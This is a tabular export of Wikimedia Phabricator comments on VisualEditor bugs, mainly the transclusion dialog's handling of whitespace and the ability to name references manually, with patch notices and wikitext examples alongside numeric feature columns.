+398023,VisualEditor: Transclusion dialog makes it too easy for users to remove the newlines between parameters,"…and in fact, this appears to have been fixed already? The leading and trailing newlines from wikitext source are not displayed in the fields in the template dialog, and can not be removed. However, newly inserted template parameters (and newly inserted templates) do not have ""smart whitespace"" added (this overlaps with T71682 a bit).",,,1420986164,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-drqb66ingqes5mea47vp,task_subcomment,,True,c1,3,True,,,79,,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,1,0,1,0,0,0
+398018,VisualEditor: Transclusion dialog makes it too easy for users to remove the newlines between parameters,"The whitespace around the value of parameters should just be preserved (and not shown in the text field at all). This can't be difficult to do, can it?",,,1420984596,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-drqb66ingqes5mea47vp,task_subcomment,,True,c1,3,True,,,79,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0
+247907,VisualEditor: Transclusion dialog makes it too easy for users to remove the newlines between parameters,"The bug is open for more than a year, and we get ugly diffs and ugly wikitext. Please increase its severity.
+
+If it isn't possible or it is hard to know whether a template is ""inline template"" or ""multiline template"", at least allow manual indication for it (using TemplateData?)",,,1408794928,,PHID-USER-cfsvvgbtlqnbt2yokfjf,False,,,PHID-TASK-drqb66ingqes5mea47vp,task_subcomment,,True,c1,3,False,,,59,,0,0,0,0,1,1,1,0,0,1,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,1,0,1,0,0,1,0,1,1,1,0
+247904,VisualEditor: Transclusion dialog makes it too easy for users to remove the newlines between parameters,(inspector->dialog; inspector is the context menu with buttons to open a dialog),,,1373539573,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-drqb66ingqes5mea47vp,task_subcomment,,True,c1,3,True,,,1,,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+247900,VisualEditor: Transclusion dialog makes it too easy for users to remove the newlines between parameters,Confirmed (https://www.mediawiki.org/w/index.php?title=Manual:$wgEnableCanonicalServerLink&diff=728104&oldid=667291).,,,1373408374,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-drqb66ingqes5mea47vp,task_subcomment,,True,c1,3,True,,,1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+52568,VisualEditor: Be able to name references manually in the reference dialog,"If you create a new reference, you can specify a name - great! If you try to modify an existing reference to add a name... https://en.wikipedia.org/wiki/File:VEReferenceEdit.jpg oops.",Low,25.0,1372760160,,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-k6ov7zzpw2ljayjxrczz,task_description,open,True,c1,3,False,False,,0,,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,1,0,1,0,0,0,1,1,0,0,0,0,1,1,0,1,0,1,0,0,0
+2394585,VisualEditor: Be able to name references manually in the reference dialog,"Just noting that there's lots of libraries out there that do this kind of thing.  Google for ""slugify"".",,,1723306099,,PHID-USER-vipegwlyd4ievw2wqspk,False,,,PHID-TASK-k6ov7zzpw2ljayjxrczz,task_subcomment,,True,c1,3,False,,,579,,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,1,0,0,0
+2075027,VisualEditor: Be able to name references manually in the reference dialog,"Change 891513 **merged** by jenkins-bot:
+%%%[mediawiki/extensions/Cite@master] Make auto-generated reference names like name="":0"" visible in VE%%%
+https://gerrit.wikimedia.org/r/891513",,,1677179166,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-k6ov7zzpw2ljayjxrczz,task_subcomment,,True,c1,3,False,,,503,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,1
+2074663,VisualEditor: Be able to name references manually in the reference dialog,"Change 891513 had a related patch set uploaded (by Thiemo Kreuz (WMDE); author: Thiemo Kreuz (WMDE)):
+%%%[mediawiki/extensions/Cite@master] Make auto-generated reference names like name="":0"" visible in VE%%%
+https://gerrit.wikimedia.org/r/891513",,,1677151684,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-k6ov7zzpw2ljayjxrczz,task_subcomment,,True,c1,3,False,,,503,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,1,0,1,0,1,0,0,0,0,1
+2033371,VisualEditor: Be able to name references manually in the reference dialog,"Change 743057 **abandoned** by Chlod Alejandro:
+%%%[mediawiki/extensions/Cite@master] [WIP] Add field for changing reference name%%%
+Reason:
+%%%Abandoning this, since as of the way VisualEditor is written right now, it is immensely difficult to switch from counter-based reference names to name-based reference names, or perhaps I simply lack the required prior knowledge of how to make it possible in VisualEditor. Leaving this for someone else to do, hopefully some of the code here might still be useful.%%%
+https://gerrit.wikimedia.org/r/743057",,,1670504338,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-k6ov7zzpw2ljayjxrczz,task_subcomment,,True,c1,3,False,,,492,,1,1,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,0,1,0,0,1,1,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,1,1,0,0,1,0,0,1
+2003283,VisualEditor: Be able to name references manually in the reference dialog,"Change 740171 **merged** by jenkins-bot:
+%%%[VisualEditor/VisualEditor@master] Verify key before removing node from InternalList%%%
+https://gerrit.wikimedia.org/r/740171",,,1666189710,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-k6ov7zzpw2ljayjxrczz,task_subcomment,,True,c1,3,False,,,485,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+1995324,VisualEditor: Be able to name references manually in the reference dialog,"Test wiki on [[ https://patchdemo.wmflabs.org | Patch demo ]]  by Chlod using patch(es) linked to this task was **deleted**:
+
+~~[[ https://patchdemo.wmflabs.org/wikis/2274ae27f1/w/ ]]~~",,,1665052298,,PHID-USER-jab5bp3ivtzmobfdxoa7,False,,,PHID-TASK-k6ov7zzpw2ljayjxrczz,task_subcomment,,True,c1,3,False,,,483,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+1995312,VisualEditor: Be able to name references manually in the reference dialog,"Test wiki **created** on [[ https://patchdemo.wmflabs.org | Patch demo ]] by Chlod using patch(es) linked to this task:
+https://patchdemo.wmflabs.org/wikis/2274ae27f1/w",,,1665051508,,PHID-USER-jab5bp3ivtzmobfdxoa7,False,,,PHID-TASK-k6ov7zzpw2ljayjxrczz,task_subcomment,,True,c1,3,False,,,483,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+1995308,VisualEditor: Be able to name references manually in the reference dialog,"Change 740171 had a related patch set uploaded (by Samtar; author: Chlod Alejandro):
+%%%[VisualEditor/VisualEditor@master] Verify key before removing node from InternalList%%%
+https://gerrit.wikimedia.org/r/740171",,,1665051130,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-k6ov7zzpw2ljayjxrczz,task_subcomment,,True,c1,3,False,,,483,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+1944363,VisualEditor: Be able to name references manually in the reference dialog,"Is there any progress on this? I note (now, having not seen it before) the proposal for an alternative at https://meta.wikimedia.org/wiki/Community_Wishlist_Survey_2019/Status_report_1#Named_References_in_VE which really doesn't look very helpful: if several of the refs in an article are to sources found on google books, or to a collection of articles written over time in one newspaper, or to journals from a particular online publisher, the editor will still have to struggle among a large set of semi-meaningless references (which of the umpteen ncbi refs in https://en.wikipedia.org/wiki/Oxford%E2%80%93AstraZeneca_COVID-19_vaccine would be ncbi-12?)  It surely cannot be that difficult for an algorithm, faced with a reference in a citation template, to do something like: ""Is there a ""last"" or ""last1"" field? If so, use it as ref name, adding number if needed for disambiguation (or, better, adding year if present, then number if needed); if no ""last1"", then use first word (or 2 words, or 10 chars) of  ""title"" field, similarly. If all else fails, use the domain name as proposed.""",,,1656964617,,PHID-USER-7zhn2ep5wvjhxetsbb6n,False,,,PHID-TASK-k6ov7zzpw2ljayjxrczz,task_subcomment,,True,c1,3,False,,,470,,1,1,1,0,1,1,1,0,0,1,1,1,1,0,1,1,0,1,1,1,1,0,0,1,0,0,0,0,1,1,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,1,1,0,0
+1826868,VisualEditor: Be able to name references manually in the reference dialog,"Change 743057 had a related patch set uploaded (by Chlod Alejandro; author: Chlod Alejandro):
+%%%[mediawiki/extensions/Cite@master] Add field for changing reference name%%%
+https://gerrit.wikimedia.org/r/743057",,,1638420663,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-k6ov7zzpw2ljayjxrczz,task_subcomment,,True,c1,3,False,,,439,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+1183457,VisualEditor: Be able to name references manually in the reference dialog,"This has been proposed as part of the 2019 Community Wishlist:   https://meta.wikimedia.org/wiki/Community_Wishlist_Survey_2019/Citations/VisualEditor:_Allow_references_to_be_named  It's too early to know whether it will make the top 10 (voting will be open until the 30 November 2018), but it's currently among the more popular items, which suggests that solving this problem has widespread community support. ",,,1543192104,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-k6ov7zzpw2ljayjxrczz,task_subcomment,,True,c1,3,False,,,282,,0,0,0,1,0,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,1,0,1,0,0,1,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,0,0,1,1,0,0
+1181544,VisualEditor: Be able to name references manually in the reference dialog,"My first thought is that this wont remain opaque to VE forever and so what is required is a workaround that exposes to VE some aspects about the contents of templates like `{{columns-list}}` even if cannot be edited yet. 
+For example, the template could expose metadata like: 
+```
+References included:  'Smith' 'Jones' 'Patel'
+```
+where each of those is the `name=` parameter of a reference used inside it. 
+
+This would allow VE to display and error along the lines of ""Cannot rename reference ""Jones"" - used in uneditable block. It would also prevent the naming of a new reference with a conflicting name.
+
+It may also be useful for T52474 and similar tasks.
+
+How significant this would be to program I haven't the foggiest though.",,,1542746748,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-k6ov7zzpw2ljayjxrczz,task_subcomment,,True,c1,3,False,,,281,,1,0,0,1,1,1,1,0,1,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1,1,1,0,1,1,1,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,0,0,1,1
+1181542,VisualEditor: Be able to name references manually in the reference dialog,"My first thought is that this wont remain opaque to VE forever and so what is required is a workaround that exposes to VE some aspects about the contents of templates like `{{columns-list}}` even if cannot be edited yet. 
+For example, the template could expose metadata like: 
+```
+References included:  'Smith' 'Jones' 'Patel'
+```
+where each of those is the `name=` parameter of a reference used inside it. 
+
+This would allow VE to display and error along the lines of ""Cannot rename reference ""Jones"" - used in uneditable block. It would also prevent the naming of a new reference with a conflicting name.
+
+How significant this would be to program I haven't the foggiest though.",,,1542746648,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-k6ov7zzpw2ljayjxrczz,task_subcomment,,True,c1,3,False,,,281,,1,0,0,1,1,1,1,0,1,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1,1,1,0,1,1,1,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,0,0,1,0
+1180593,VisualEditor: Be able to name references manually in the reference dialog,">>! In T52568#4743919, @Thryduulf wrote:
+> When this is implemented it needs to take account of reused references: 
+> i.e. if `<ref name=""Smith"">...</ref>` is renamed to `<ref name=""Jones"">...</ref>`
+> then all instances of `<ref name=""Smith"" />` need to be automatically changed to `<ref name=""Jones"" />`
+
+This is actually a very good point, and I think this actually makes changing the name impossible in some cases. (But it should be possible to allow setting the name for newly created references.)
+
+Consider a page like this:
+```
+Lorem ipsum dolor sit amet, consectetur adipisicing elit.<ref name=""example"">http://example.com/</ref>
+
+{{columns-list|
+* [[George Washington]]
+* [[John Adams]]<ref name=""example"" />
+}}
+
+<references />
+```
+
+If you were to use VE to change the `name` of this reference, we would not be able to update the reuse inside the `{{columns-list}}` template, because the entire template is ""opaque"" – VE doesn't know about anything inside of it, it just displays the content.",,,1542650803,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-k6ov7zzpw2ljayjxrczz,task_subcomment,,True,c1,3,True,,,281,,1,1,1,1,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,1,0,1,1,1,1,1,1,1,0,0,1,1,0,0,0,0,0,1,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,1,1,1,1,1,1,0,1,0,0,1
+1180591,VisualEditor: Be able to name references manually in the reference dialog,">>! In T52568#4743919, @Thryduulf wrote:
+> When this is implemented it needs to take account of reused references: 
+> i.e. if `<ref name=""Smith"">...</ref>` is renamed to `<ref name=""Jones"">...</ref>`
+> then all instances of `<ref name=""Smith"" />` need to be automatically changed to `<ref name=""Jones"" />`
+
+This is actually a very good point, and I think this actually makes changing the name impossible in some cases. (But it should be possible to set the name for newly created references.)
+
+Consider a page like this:
+```
+Lorem ipsum dolor sit amet, consectetur adipisicing elit.<ref name=""example"">http://example.com/</ref>
+
+{{columns-list|
+* [[George Washington]]
+* [[John Adams]]<ref name=""example"" />
+}}
+
+<references />
+```
+
+If you were to use VE to change the `name` of this reference, we would not be able to update the reuse inside the `{{columns-list}}` template, because the entire template is ""opaque"" – VE doesn't know about anything inside of it, it just displays the content.",,,1542650702,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-k6ov7zzpw2ljayjxrczz,task_subcomment,,True,c1,3,True,,,281,,1,1,1,1,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,1,0,1,1,1,1,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,1,1,1,1,1,1,0,1,0,0,1
+1176741,VisualEditor: Be able to name references manually in the reference dialog,"When this is implemented it needs to take account of reused references: 
+i.e. if `<ref name=""Smith"">...</ref>` is renamed to `<ref name=""Jones"">...</ref>`
+then all instances of `<ref name=""Smith"" />` need to be automatically changed to `<ref name=""Jones"" />`
+
+Thought will need to be given to the interaction of this and section editing. ",,,1542139214,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-k6ov7zzpw2ljayjxrczz,task_subcomment,,True,c1,3,False,,,280,,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,0,0,0,0,0,1
+967198,VisualEditor: Be able to name references manually in the reference dialog,"If we try to name a reference by only using a numeral, the system rejects it and says that numeral only reference names are not permitted.
+I feel it is bogus that Visual Editor gets around this by adding a colon: e.g. - :17
+That kind of reference name is wrong and unhelpful.
+I hope that the ability to manually name references, or at least the ability to manually approve the generated name is restored.",,,1511145285,,PHID-USER-wwyujao3kjfasgvrx6nk,False,,,PHID-TASK-k6ov7zzpw2ljayjxrczz,task_subcomment,,True,c1,3,False,,,229,,0,0,0,1,1,1,1,0,0,1,1,0,0,1,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,1,0
+794319,VisualEditor: Be able to name references manually in the reference dialog,"> If you create a new reference, you can specify a name - great! 
+
+It's no longer possible to specify a name even when creating a new reference.",,,1484857993,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-k6ov7zzpw2ljayjxrczz,task_subcomment,,True,c1,3,False,,,185,,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,1,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,1,0,0
+427362,VisualEditor: Be able to name references manually in the reference dialog,"At the triage meeting on 11 March it was agreed that this is too complex and imprecise to keep as a Q3 objective, but that a much more on-point task, {T92432}, could be done instead.",,,1426548049,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-k6ov7zzpw2ljayjxrczz,task_subcomment,,True,c1,3,True,,,89,,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,1,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,1,0,0
+420918,VisualEditor: Be able to name references manually in the reference dialog,"Here's another idea for an automatically suggested (but still editable) ref name that would work with manually formatted citations:  
+
+Use the longest text string is in the citation, appending numbers as necessary to keep the names unique.  You might end up with a lot of refs named ""September"", but it in many cases it will pick up the most significant keyword in the source's title.",,,1425493648,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-k6ov7zzpw2ljayjxrczz,task_subcomment,,True,c1,3,False,,,87,,1,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,1,0
+417835,VisualEditor: Be able to name references manually in the reference dialog,"The citoid extension could definitely come up with an automated reference name, but that should be filed as a separate issue as a feature request :). For editing citations, the extension uses the same reference dialog as the rest of VE. ",,,1424976215,,PHID-USER-evd3wnvnlb66lrwulch4,False,,,PHID-TASK-k6ov7zzpw2ljayjxrczz,task_subcomment,,True,c1,3,False,,,86,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,1,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0
+417816,VisualEditor: Be able to name references manually in the reference dialog,Perhaps Citoid could suggest a ref name.,,,1424975287,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-k6ov7zzpw2ljayjxrczz,task_subcomment,,True,c1,3,False,,,86,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0
+247110,VisualEditor: Be able to name references manually in the reference dialog,*** Bug 57459 has been marked as a duplicate of this bug. ***,,,1414104088,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-k6ov7zzpw2ljayjxrczz,task_subcomment,,True,c1,3,True,,,68,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+247104,VisualEditor: Be able to name references manually in the reference dialog,"Useful for default would be to read from the parameters of the cite template if provided. The following would be a useful preference order I think 
+1. Lastname and Year (e.g. Smith2013)
+2. Author and year (e.g. Bob Smith2013)
+3. Lastname and serial number (e.g. Smith001)
+4. Title (first 3 words) and year (e.g. FreddieStarrAte1986)
+5. domain, underscore, page name (If only a bare url is given) (e.g. bbc_magazine-23969607)
+6. fist alphabetic string in reference (when neither a template or a url) and a string of four digits from the reference (e.g. Jones1999)
+7. fist alphabetic string in reference and a serial number (when neither a template or a url and no sequence of four digits is present) (e.g. Brown001)",,,1378935773,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-k6ov7zzpw2ljayjxrczz,task_subcomment,,True,c1,3,False,,,10,,0,0,0,1,0,1,1,0,0,1,1,0,0,1,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,1
+247098,VisualEditor: Be able to name references manually in the reference dialog,"It would even be convenient if VisualEditor suggested a unique label for the ref, perhaps using the first alphabetic string of characters in the ref (usually the first author's last name).",,,1378918158,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-k6ov7zzpw2ljayjxrczz,task_subcomment,,True,c1,3,False,,,10,,0,0,0,0,0,1,1,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+247092,VisualEditor: Be able to name references manually in the reference dialog,"Editor APerson at en.wp, is asking for this and suggests that the name of a reference could be set in the ""Options"" section along with the group name.",,,1375511477,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-k6ov7zzpw2ljayjxrczz,task_subcomment,,True,c1,3,False,,,4,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,1,0,1,0,0,0
+247085,VisualEditor: Be able to name references manually in the reference dialog,"Actually, it even looks like the ability to name a reference has been removed from the reference creation interface. Expanding the scope of this request accordingly.
+
+Being able name references is an important step to allow compatibility with the classic wikitext editor: human-readable names are much easier to use than names like "":5"".",,,1374250436,,PHID-USER-z6nzrwuaij3spgyg23jt,False,,,PHID-TASK-k6ov7zzpw2ljayjxrczz,task_subcomment,,True,c1,3,False,,,2,,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,1,0,1,0,0,1,0,1,1,0,0
+52551,VisualEditor: {{clear}} template phantom generated too large,"See http://en.wikipedia.org/wiki/United_States_v._Windsor right above the 'Dissents' heading. Clear template covers most of quote box.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=50395",Low,25.0,1372738560,1429479450.0,PHID-USER-f6l3bchko2ogbi4poj24,False,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-32cvx6zgypptrjsr7sri,task_description,resolved,True,c1,3,False,False,False,0,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,1,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,1,0
+446017,VisualEditor: {{clear}} template phantom generated too large,"I can no longer reproduce this, nor the issue in either of the duped bugs (T53872, T54431). (Note that you need to look at older versions of the articles, as the problematic markup was changed since the bugs were filed.)
+
